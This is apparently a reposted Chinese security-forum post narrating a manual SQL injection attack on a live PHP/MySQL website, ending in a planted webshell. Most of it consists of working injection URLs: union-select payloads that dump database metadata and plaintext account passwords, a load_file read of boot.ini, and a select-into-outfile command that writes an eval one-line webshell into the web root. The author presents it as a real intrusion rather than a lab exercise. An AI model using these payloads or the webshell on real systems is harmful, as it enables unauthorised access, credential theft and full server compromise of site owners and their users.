手工注入
說下我的基本思路:
1、目標站點環境為:Windows+Apache+Mysql+PHP
2、存在SQL注入,能否直接寫一句話木馬
3、存在SQL注入,獲取數據庫中用戶口令,登錄應用系統后上傳webshell
4、獲取數據庫口令登錄phpMyAdimin,用phpMyAdmin寫入一句話木馬
不想因為使用掃描工具的緣故,導致服務器出現不穩定的現象,所以就純手工咯。
下面具體來說明下:
1、嘗試1=1的情況,正確
- http://xxx/xxx.php?id=2900 and 1=1
2、嘗試1=2的情況,錯誤,說明這是個整型的注入點
- http://xxx/xxx.php?id=2900 and 1=2
3、嘗試'1'='1'的情況,錯誤,說明PHP開啟了magic_quotes_gpc=on,不能直接利用注入語句寫webshell了。還好這里是整型的注入點,如果是字符型的注入點那就沒辦法了。
- http://xxx/xxx.php?id=2900 and '1'='1'
4、order by 15,嘗試當前注入語句的表中字段個數為15,錯誤,說明字段數小於15
- http://xxx/xxx.php?id=2900 order by 15
5、order by 14,嘗試當前注入語句的表中字段個數為14,正確,說明字段數等於14
- http://xxx/xxx.php?id=2900 order by 14
6、聯合查詢語句,暴出可顯示字段
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
7、暴出數據庫用戶、版本、庫名和路徑信息,運氣不錯,是root權限。
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),7,8,9,10,11,12,13,14
8、讀取windows系統文件boot.ini
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,load_file(0x633a5c626f6f742e696e69),7,8,9,10,11,12,13,14
9、暴出當前庫中的所有表名,查了下只有一個account表還比較像存放用戶名和口令信息的表
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()
10、暴出account表中的所有字段名,看到了username和password,很高興。
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14 from information_schema.columns where table_name=0x6163636f756e74
11、暴出username和password字段里的內容,都是明文。
- http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(username,0x5e,password),7,8,9,10,11,12,13,14 from account
12、使用得到的用戶名口令嘗試登錄用戶頁面和后台頁面,均失敗。
13、發現該網站有phpMyAdmin,phpMyAdmin是個好東西,可以在magic_quotes_gpc=on的情況下寫入一句話。不過得先知道mysql數據庫連接口令。用穿山甲跑了下注入點,可以讀取出mysql的root和其他賬號口令,但都是收費的hash。。想想即使拿到口令,沒web目錄的絕對路徑也不能寫一句話啊。
14、搜索了一些phpMyAdmin的暴路徑的鏈接,均失敗。
- /phpmyadmin/libraries/lect_lang.lib.php
- /phpmyadmin/themes/darkblue_orange/layout.inc.php
15、忽然,rp爆發了一下下,在根目錄下隨手嘗試了個phpinfo,這不絕對路徑就出來了d:/wwwroot。
16、讀取配置文件d:/wwwroot/sql2004.php
17、登錄phpMyAdmin,寫入一句話d:/wwwroot/1.php
- select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
18、用lanker一句話客戶端連接,查看phpinfo,接下來就是上傳大馬的事了
19、回過頭來,在數據庫里翻了一番,在數據庫名為admin的庫中找到了個口令,一下就登錄上后台管理頁面了。。
注 :原文網址:http://forum.cnsec.org/thread-67707-1-1.html